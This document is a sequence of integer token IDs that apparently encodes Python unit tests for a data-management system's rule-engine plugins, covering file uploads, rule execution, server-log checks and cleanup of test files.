29886,
29918,
1688,
29918,
20907,
29898,
1457,
26381,
29922,
1839,
29875,
649,
448,
29888,
426,
1688,
1445,
29913,
7464,
8260,
29922,
1839,
293,
29886,
426,
1688,
1445,
29913,
426,
1688,
1445,
2403,
8552,
11287,
13,
13,
1678,
822,
1243,
29918,
562,
2697,
29963,
1292,
2605,
15644,
29898,
1311,
1125,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
26381,
29922,
1839,
29875,
649,
448,
29888,
426,
1688,
1445,
29913,
11287,
13,
13,
1678,
822,
1243,
29918,
562,
6572,
15439,
2831,
1469,
9930,
6585,
29898,
1311,
1125,
13,
4706,
3132,
29918,
7491,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
3816,
1144,
1103,
29889,
3784,
2557,
2141,
29888,
29918,
401,
29889,
1111,
29918,
978,
29962,
13,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
1457,
26381,
29922,
1839,
29875,
649,
448,
29888,
426,
1688,
1445,
29913,
7464,
8260,
29922,
1839,
381,
1297,
448,
29943,
426,
4645,
29918,
7491,
29918,
1445,
29913,
7464,
3132,
29918,
7491,
29922,
4645,
29918,
7491,
29897,
13,
13,
1678,
822,
1243,
29918,
562,
6747,
27893,
2831,
6585,
29898,
1311,
1125,
13,
4706,
396,
19012,
5751,
934,
13,
4706,
3132,
29918,
7491,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
3816,
1144,
1103,
29889,
3784,
2557,
2141,
29888,
29918,
401,
29889,
1111,
29918,
978,
29962,
13,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
1457,
26381,
29922,
1839,
29875,
649,
448,
29888,
426,
1688,
1445,
29913,
7464,
8260,
29922,
1839,
381,
1297,
448,
29943,
426,
4645,
29918,
7491,
29918,
1445,
29913,
7464,
3132,
29918,
7491,
29922,
4645,
29918,
7491,
29897,
13,
13,
1678,
822,
679,
29918,
10314,
29918,
6799,
29918,
1761,
29898,
1311,
29892,
4867,
1125,
13,
4706,
396,
2346,
363,
6503,
4426,
13,
4706,
4341,
353,
6702,
1525,
7187,
29918,
29999,
12413,
29918,
5813,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
29943,
21661,
29918,
5550,
11538,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
27047,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
1367,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
5813,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
11116,
29918,
5813,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
16652,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
13875,
1799,
29918,
5813,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
20449,
8647,
29918,
10145,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
11690,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
3217,
7428,
3919,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
27045,
29918,
15307,
29892,
525,
13,
462,
259,
525,
1525,
7187,
29918,
6720,
4571,
29943,
29979,
29918,
15307,
1495,
13,
4706,
6503,
353,
4867,
29889,
4381,
29918,
10314,
13,
4706,
2346,
353,
14550,
29875,
1119,
376,
6404,
426,
13099,
29913,
5754,
390,
2890,
29907,
29918,
5813,
353,
29915,
29912,
10314,
10162,
29908,
4907,
4286,
4830,
29898,
1068,
2997,
29879,
3101,
13,
4706,
1121,
353,
4867,
29889,
3389,
29918,
293,
3011,
392,
29898,
1972,
9601,
29900,
29962,
13,
13,
4706,
396,
1833,
1196,
338,
474,
1119,
2322,
15998,
28128,
13,
4706,
6503,
29918,
6799,
29918,
1761,
353,
1121,
29889,
5451,
9012,
580,
7503,
29899,
29896,
29962,
13,
13,
4706,
396,
1207,
1854,
2875,
1051,
338,
451,
4069,
13,
4706,
1583,
29889,
9294,
5574,
29898,
2435,
29898,
10314,
29918,
6799,
29918,
1761,
876,
13,
13,
4706,
736,
6503,
29918,
6799,
29918,
1761,
13,
13,
1678,
822,
1207,
29918,
412,
29886,
29918,
7491,
29898,
1311,
29892,
282,
1022,
29918,
978,
29892,
5751,
29918,
2587,
1125,
13,
4706,
396,
19012,
5751,
13,
4706,
396,
5751,
674,
2436,
349,
15488,
1024,
408,
1532,
408,
13,
4706,
396,
6503,
4475,
5751,
4867,
24987,
304,
1923,
1480,
13,
4706,
2436,
29918,
6112,
4110,
353,
525,
3539,
3542,
703,
2974,
3403,
613,
29850,
412,
29886,
29918,
978,
29913,
1496,
4286,
4830,
29898,
1068,
2997,
29879,
3101,
13,
4706,
2436,
29918,
6112,
4110,
4619,
6702,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
8028,
1170,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
9021,
14936,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
339,
4616,
24445,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
5709,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
1204,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
1170,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
1542,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
3524,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
2385,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
29963,
1292,
2605,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
3401,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
1523,
1860,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
4391,
416,
29915,
13,
462,
418,
525,
3539,
3542,
703,
2974,
3403,
613,
395,
29968,
18510,
7121,
29889,
690,
29883,
2111,
1598,
29897,
1495,
13,
13,
4706,
736,
22372,
412,
29886,
29918,
978,
29913,
8620,
426,
3539,
29918,
6112,
4110,
3400,
29912,
7491,
29918,
2587,
29913,
9156,
4286,
4830,
29898,
1068,
2997,
29879,
3101,
13,
13,
4706,
13,
1678,
822,
1207,
29918,
412,
29886,
29918,
7491,
29918,
4691,
29898,
1311,
29892,
282,
1022,
29918,
978,
29892,
5751,
29918,
2587,
1125,
13,
4706,
396,
19012,
5751,
13,
4706,
396,
5751,
674,
2436,
349,
15488,
1024,
408,
1532,
408,
13,
4706,
396,
6503,
4475,
5751,
4867,
24987,
304,
1923,
1480,
13,
4706,
2436,
29918,
6112,
4110,
353,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
29850,
412,
29886,
29918,
978,
27195,
29905,
29876,
4286,
4830,
29898,
1068,
2997,
29879,
3101,
13,
4706,
2436,
29918,
6112,
4110,
4619,
6702,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
8028,
1170,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
9021,
14936,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
339,
4616,
24445,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
5709,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
1204,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
1170,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
1542,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
3524,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
2385,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
29963,
1292,
2605,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
3401,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
1523,
1860,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
4391,
3108,
2144,
29876,
29915,
13,
462,
418,
525,
1678,
6939,
29889,
3539,
3542,
703,
2974,
3403,
613,
27409,
29889,
1116,
4290,
1469,
3366,
690,
29883,
2111,
1598,
3108,
2144,
29876,
1495,
13,
13,
4706,
736,
525,
1753,
426,
412,
29886,
29918,
978,
2119,
7491,
29918,
5085,
29892,
6939,
29892,
27409,
1125,
29905,
29876,
29912,
3539,
29918,
6112,
4110,
1012,
29876,
29912,
7491,
29918,
2587,
29913,
4286,
4830,
29898,
1068,
2997,
29879,
3101,
13,
13,
29937,
1678,
822,
1207,
29918,
1482,
29918,
2974,
29918,
2917,
29918,
3126,
29898,
1311,
29892,
1923,
29918,
2917,
29918,
9507,
1125,
13,
29937,
4706,
396,
2254,
1923,
29918,
2917,
29889,
3126,
304,
11658,
263,
716,
5751,
2967,
13,
29937,
4706,
411,
1722,
29898,
2974,
29918,
2917,
29918,
9507,
29897,
408,
285,
29901,
13,
29937,
9651,
3731,
29878,
29918,
16859,
353,
4390,
29889,
1359,
29898,
29888,
29897,
13,
29937,
13,
29937,
4706,
396,
11658,
263,
716,
5751,
2967,
964,
278,
7531,
5751,
6012,
13,
29937,
4706,
3731,
29878,
29918,
16859,
1839,
8582,
29918,
13305,
16215,
7491,
29918,
996,
1475,
2033,
29961,
29900,
22322,
8582,
29918,
14940,
29918,
13305,
16215,
276,
29918,
7491,
3188,
29918,
842,
2033,
353,
6796,
1688,
613,
376,
3221,
3108,
13,
29937,
13,
29937,
4706,
396,
16766,
304,
263,
1347,
304,
1634,
1351,
278,
5923,
1923,
29918,
2917,
29889,
3126,
13,
29937,
4706,
736,
4390,
29889,
29881,
17204,
29898,
4501,
29878,
29918,
16859,
29892,
2656,
29918,
8149,
29922,
5574,
29892,
12860,
29922,
29946,
29892,
2903,
4097,
7607,
742,
742,
525,
29901,
525,
876,
13,
13,
1678,
822,
282,
1022,
29918,
1688,
29918,
20907,
29898,
1311,
29892,
758,
26381,
11759,
1402,
8260,
11759,
1402,
5751,
29918,
2587,
2433,
742,
3132,
29918,
7491,
29922,
8516,
29892,
3646,
29918,
978,
29922,
8516,
29892,
1404,
29918,
7924,
29922,
8516,
1125,
13,
4706,
282,
1022,
29918,
978,
353,
1583,
29889,
412,
29886,
29918,
978,
13,
13,
4706,
396,
1404,
4867,
13,
4706,
565,
1404,
29918,
7924,
338,
6213,
29901,
13,
9651,
565,
3132,
29918,
7491,
338,
6213,
29901,
13,
18884,
1404,
29918,
7924,
353,
1583,
29889,
1792,
29900,
13,
9651,
1683,
29901,
13,
18884,
396,
5132,
5751,
6012,
4225,
4113,
28091,
304,
1065,
3805,
1297,
13,
18884,
1404,
29918,
7924,
353,
1583,
29889,
6406,
13,
13,
4706,
396,
1887,
24987,
304,
3402,
1899,
6031,
13,
4706,
1243,
1445,
353,
1583,
29889,
1688,
1445,
13,
4706,
2919,
29918,
1445,
353,
1583,
29889,
16961,
29918,
1445,
13,
4706,
565,
3646,
29918,
978,
338,
6213,
29901,
13,
9651,
3646,
29918,
978,
353,
1243,
1445,
13,
4706,
3646,
29918,
5415,
353,
8207,
4286,
7122,
4197,
1792,
29918,
7924,
29889,
7924,
29918,
10855,
29892,
3646,
29918,
978,
2314,
13,
13,
4706,
396,
2346,
363,
6503,
4426,
13,
4706,
6503,
29918,
6799,
29918,
1761,
353,
1583,
29889,
657,
29918,
10314,
29918,
6799,
29918,
1761,
29898,
1792,
29918,
7924,
29897,
13,
13,
4706,
411,
13201,
29918,
3221,
29918,
1445,
580,
408,
7136,
29901,
13,
13,
9651,
396,
1207,
282,
1022,
5751,
13,
9651,
565,
1583,
29889,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
3350,
6289,
29918,
7491,
29918,
11675,
2396,
13,
18884,
1243,
29918,
7491,
353,
1583,
29889,
5675,
29918,
412,
29886,
29918,
7491,
29898,
412,
29886,
29918,
978,
29892,
5751,
29918,
2587,
29897,
13,
9651,
25342,
1583,
29889,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
2396,
13,
18884,
1243,
29918,
7491,
353,
1583,
29889,
5675,
29918,
412,
29886,
29918,
7491,
29918,
4691,
29898,
412,
29886,
29918,
978,
29892,
5751,
29918,
2587,
29897,
13,
13,
9651,
396,
2436,
282,
1022,
5751,
964,
1243,
29918,
276,
13,
29937,
9651,
411,
1722,
29898,
1688,
29918,
276,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
29937,
18884,
285,
29889,
3539,
29898,
1688,
29918,
7491,
29897,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
9651,
7136,
29889,
1202,
29918,
7491,
29898,
1688,
29918,
7491,
29897,
13,
9651,
931,
29889,
17059,
29898,
29896,
29897,
29871,
396,
3349,
2748,
934,
6608,
2329,
338,
19355,
396,
29906,
29906,
29955,
29929,
13,
13,
29937,
9651,
396,
1634,
1351,
278,
5923,
1923,
29918,
2917,
29889,
3126,
304,
788,
1243,
29918,
276,
13,
29937,
9651,
411,
1722,
29898,
2974,
29918,
2917,
29918,
9507,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
29937,
18884,
285,
29889,
3539,
29898,
1482,
29918,
2974,
29918,
2917,
29897,
13,
13,
9651,
396,
1207,
3132,
29899,
2975,
5751,
934,
13,
9651,
565,
3132,
29918,
7491,
338,
451,
6213,
29901,
13,
18884,
3132,
29918,
7491,
29918,
1445,
353,
376,
1688,
29918,
7491,
29918,
1445,
29889,
29878,
29908,
13,
18884,
411,
1722,
29898,
4645,
29918,
7491,
29918,
1445,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
462,
1678,
285,
29889,
3539,
29898,
4645,
29918,
7491,
29889,
4830,
29898,
1068,
2997,
29879,
22130,
13,
13,
9651,
396,
2189,
758,
26381,
13,
9651,
363,
274,
297,
758,
26381,
29901,
13,
18884,
565,
338,
8758,
29898,
29883,
29892,
18761,
1125,
13,
462,
1678,
1404,
29918,
7924,
29889,
9294,
29918,
293,
3011,
392,
29898,
29883,
29961,
29900,
1822,
4830,
29898,
1068,
2997,
29879,
25739,
274,
29961,
29896,
1402,
274,
29961,
29906,
2314,
13,
18884,
1683,
29901,
13,
462,
1678,
1404,
29918,
7924,
29889,
9294,
29918,
293,
3011,
392,
29898,
29883,
29889,
4830,
29898,
1068,
2997,
29879,
22130,
13,
13,
9651,
396,
1423,
3149,
1480,
304,
1073,
988,
304,
1106,
363,
278,
1347,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
13,
9651,
396,
2189,
8260,
304,
7124,
349,
15488,
13,
9651,
363,
274,
297,
8260,
29901,
13,
18884,
565,
338,
8758,
29898,
29883,
29892,
18761,
1125,
13,
462,
1678,
1404,
29918,
7924,
29889,
9294,
29918,
293,
3011,
392,
29898,
29883,
29961,
29900,
1822,
4830,
29898,
1068,
2997,
29879,
25739,
274,
29961,
29896,
1402,
274,
29961,
29906,
2314,
13,
18884,
1683,
29901,
13,
462,
1678,
1404,
29918,
7924,
29889,
9294,
29918,
293,
3011,
392,
29898,
29883,
29889,
4830,
29898,
1068,
2997,
29879,
22130,
13,
13,
9651,
396,
5217,
3132,
29899,
2975,
5751,
934,
13,
9651,
565,
3132,
29918,
7491,
338,
451,
6213,
29901,
13,
18884,
2897,
29889,
348,
2324,
29898,
4645,
29918,
7491,
29918,
1445,
29897,
13,
13,
9651,
396,
9659,
393,
349,
15488,
471,
7124,
491,
3063,
363,
282,
1022,
1024,
297,
1923,
1480,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
282,
1022,
29918,
978,
29892,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
9651,
396,
1423,
393,
6503,
4867,
24987,
892,
3971,
304,
278,
1923,
1480,
13,
9651,
363,
1196,
297,
6503,
29918,
6799,
29918,
1761,
29901,
13,
18884,
1897,
353,
1196,
29889,
2288,
2830,
877,
29922,
742,
29871,
29896,
9601,
29900,
1822,
17010,
580,
13,
18884,
2875,
353,
1196,
29889,
2288,
2830,
877,
29922,
742,
29871,
29896,
9601,
29896,
1822,
17010,
580,
13,
18884,
565,
2875,
29901,
13,
462,
1678,
565,
1897,
2804,
525,
1525,
7187,
29918,
6720,
4571,
29943,
29979,
29918,
15307,
2396,
13,
462,
4706,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
2875,
29892,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
4706,
396,
5941,
786,
13,
4706,
1404,
29918,
7924,
29889,
3389,
29918,
293,
3011,
392,
877,
3568,
448,
29888,
426,
5182,
29918,
5415,
29913,
4286,
4830,
29898,
1068,
2997,
29879,
22130,
13,
29937,
4706,
2897,
29889,
348,
2324,
29898,
1688,
29918,
276,
29897,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
742,
525,
15797,
666,
363,
5132,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
1885,
1972,
29918,
13150,
29918,
12648,
29918,
4176,
29918,
1672,
7811,
29918,
20787,
1649,
29941,
29946,
29947,
29929,
29898,
1311,
1125,
13,
4706,
18134,
29918,
4176,
29918,
1672,
7811,
353,
29871,
29906,
29945,
29953,
396,
4225,
304,
367,
278,
1021,
408,
4868,
297,
1923,
775,
13,
4706,
10422,
353,
525,
1688,
29918,
1885,
1972,
29918,
13150,
29918,
12648,
29918,
4176,
29918,
1672,
7811,
29918,
20787,
1649,
29941,
29946,
29947,
29929,
29918,
29881,
11770,
29918,
1445,
29915,
13,
4706,
4303,
29889,
5675,
29918,
1445,
29898,
9507,
29892,
29871,
29896,
29897,
13,
4706,
848,
29918,
3318,
29918,
13506,
353,
525,
417,
5871,
1165,
12938,
1278,
2176,
29886,
646,
29878,
1983,
492,
1792,
29881,
29915,
13,
4706,
363,
474,
297,
3464,
29898,
12648,
29918,
4176,
29918,
1672,
7811,
1125,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
29875,
649,
742,
10422,
29892,
22372,
29900,
2403,
1445,
648,
29896,
29913,
4286,
4830,
29898,
1272,
29918,
3318,
29918,
13506,
29892,
474,
29897,
2314,
13,
13,
4706,
5751,
29918,
1445,
353,
525,
1688,
29918,
1885,
1972,
29918,
13150,
29918,
12648,
29918,
4176,
29918,
1672,
7811,
29918,
20787,
1649,
29941,
29946,
29947,
29929,
29889,
29878,
29915,
13,
4706,
5751,
29918,
1807,
353,
14550,
13,
1688,
29918,
1885,
1972,
29918,
13150,
29918,
12648,
29918,
4176,
29918,
1672,
7811,
29918,
20787,
1649,
29941,
29946,
29947,
29929,
8620,
13,
1678,
6829,
10456,
5727,
297,
1831,
360,
8254,
29918,
1367,
988,
360,
8254,
29918,
5813,
763,
22372,
29900,
10560,
1495,
8620,
13,
4706,
334,
333,
353,
334,
5727,
29889,
14573,
29918,
1367,
29936,
13,
4706,
2436,
3542,
703,
2974,
3403,
613,
376,
26788,
26788,
26788,
26788,
26788,
26788,
26788,
29954,
334,
333,
1496,
13,
1678,
9156,
13,
930,
13,
1177,
12336,
1870,
13,
12015,
12336,
5751,
5379,
3744,
13,
4907,
4286,
4830,
29898,
1272,
29918,
3318,
29918,
13506,
29897,
13,
13,
4706,
411,
1722,
29898,
7491,
29918,
1445,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
9651,
285,
29889,
3539,
29898,
7491,
29918,
1807,
29897,
13,
13,
4706,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
381,
1297,
742,
17411,
29943,
742,
5751,
29918,
1445,
2314,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29897,
13,
13,
1990,
4321,
29918,
20224,
29918,
5379,
29898,
6848,
5160,
29892,
443,
27958,
29889,
3057,
8259,
1125,
13,
1678,
7079,
29918,
978,
353,
306,
5964,
29879,
3991,
2141,
4381,
29918,
7491,
29918,
10599,
29918,
8582,
13,
1678,
770,
29918,
978,
353,
525,
3057,
29918,
20224,
29918,
5379,
29915,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
2428,
29898,
3057,
29918,
20224,
29918,
5379,
29892,
1583,
467,
842,
3373,
580,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
2428,
29898,
3057,
29918,
20224,
29918,
5379,
29892,
1583,
467,
371,
279,
6767,
580,
13,
13,
1678,
822,
1653,
29918,
7491,
29918,
1445,
29898,
1311,
29892,
5751,
29918,
726,
29918,
1989,
1125,
13,
4706,
5751,
29918,
1445,
29918,
2084,
353,
5751,
29918,
726,
29918,
1989,
718,
15300,
29878,
29915,
13,
4706,
4128,
353,
6571,
13,
4706,
4128,
1839,
3069,
2033,
353,
1243,
29889,
11027,
29889,
2965,
1299,
29918,
20832,
5813,
13,
4706,
4128,
1839,
8028,
2033,
353,
525,
7382,
18482,
29915,
13,
4706,
5751,
29918,
710,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
3816,
7491,
29918,
726,
29918,
1989,
1822,
4830,
29898,
1068,
16744,
29897,
13,
4706,
411,
1722,
29898,
7491,
29918,
1445,
29918,
2084,
29892,
525,
29893,
1495,
408,
5751,
29918,
1445,
29901,
13,
9651,
5751,
29918,
1445,
29889,
3539,
29898,
7491,
29918,
710,
29897,
13,
4706,
736,
5751,
29918,
1445,
29918,
2084,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
742,
525,
15797,
666,
363,
5132,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
16674,
29918,
1217,
29918,
8231,
5570,
29898,
1311,
1125,
13,
4706,
5751,
29918,
1445,
29918,
2084,
353,
1583,
29889,
3258,
29918,
7491,
29918,
1445,
877,
1688,
29918,
16674,
29918,
1217,
29918,
8231,
5570,
1495,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
381,
1297,
742,
17411,
29943,
742,
5751,
29918,
1445,
29918,
2084,
1402,
525,
1254,
3970,
2692,
742,
525,
29874,
29922,
16674,
1495,
13,
4706,
7146,
29901,
13,
9651,
565,
2897,
29889,
2084,
29889,
9933,
29898,
7491,
29918,
1445,
29918,
2084,
1125,
13,
18884,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
742,
525,
15797,
666,
363,
5132,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
16674,
29918,
8231,
5570,
29898,
1311,
1125,
13,
4706,
5751,
29918,
1445,
29918,
2084,
353,
1583,
29889,
3258,
29918,
7491,
29918,
1445,
877,
1688,
29918,
16674,
29918,
8231,
5570,
1495,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
381,
1297,
742,
17411,
29943,
742,
5751,
29918,
1445,
29918,
2084,
1402,
525,
1254,
3970,
2692,
742,
525,
20224,
2436,
3542,
1495,
13,
4706,
7146,
29901,
13,
9651,
565,
2897,
29889,
2084,
29889,
9933,
29898,
7491,
29918,
1445,
29918,
2084,
1125,
13,
18884,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
877,
15941,
14383,
411,
10104,
310,
396,
29946,
29906,
29953,
29906,
1495,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
742,
525,
15797,
666,
363,
5132,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
16674,
29918,
262,
29918,
16674,
29918,
8231,
5570,
29898,
1311,
1125,
13,
4706,
5751,
29918,
1445,
29918,
2084,
353,
1583,
29889,
3258,
29918,
7491,
29918,
1445,
877,
1688,
29918,
16674,
29918,
262,
29918,
16674,
29918,
8231,
5570,
1495,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
381,
1297,
742,
17411,
29943,
742,
5751,
29918,
1445,
29918,
2084,
1402,
525,
1254,
3970,
2692,
29918,
29924,
8647,
6227,
8895,
742,
6024,
20224,
297,
7592,
2436,
3542,
742,
525,
20224,
2436,
3542,
11287,
13,
4706,
7146,
29901,
13,
9651,
565,
2897,
29889,
2084,
29889,
9933,
29898,
7491,
29918,
1445,
29918,
2084,
1125,
13,
18884,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
1688,
29889,
11027,
29889,
29911,
4590,
29949,
14480,
29979,
29918,
21482,
29918,
1525,
27839,
4741,
29918,
18603,
29892,
525,
15797,
666,
363,
20159,
6724,
515,
6503,
1923,
29901,
13623,
1923,
1480,
1495,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
742,
525,
15797,
666,
363,
5132,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
18829,
29918,
262,
29918,
16674,
29918,
8231,
5570,
29898,
1311,
1125,
13,
4706,
5751,
29918,
1445,
29918,
2084,
353,
1583,
29889,
3258,
29918,
7491,
29918,
1445,
877,
1688,
29918,
18829,
29918,
262,
29918,
16674,
29918,
8231,
5570,
1495,
13,
4706,
1018,
29901,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
381,
1297,
742,
17411,
29943,
742,
5751,
29918,
1445,
29918,
2084,
1402,
525,
1254,
3970,
2692,
742,
525,
20224,
2436,
3542,
1495,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
525,
24996,
297,
7592,
2436,
3542,
742,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
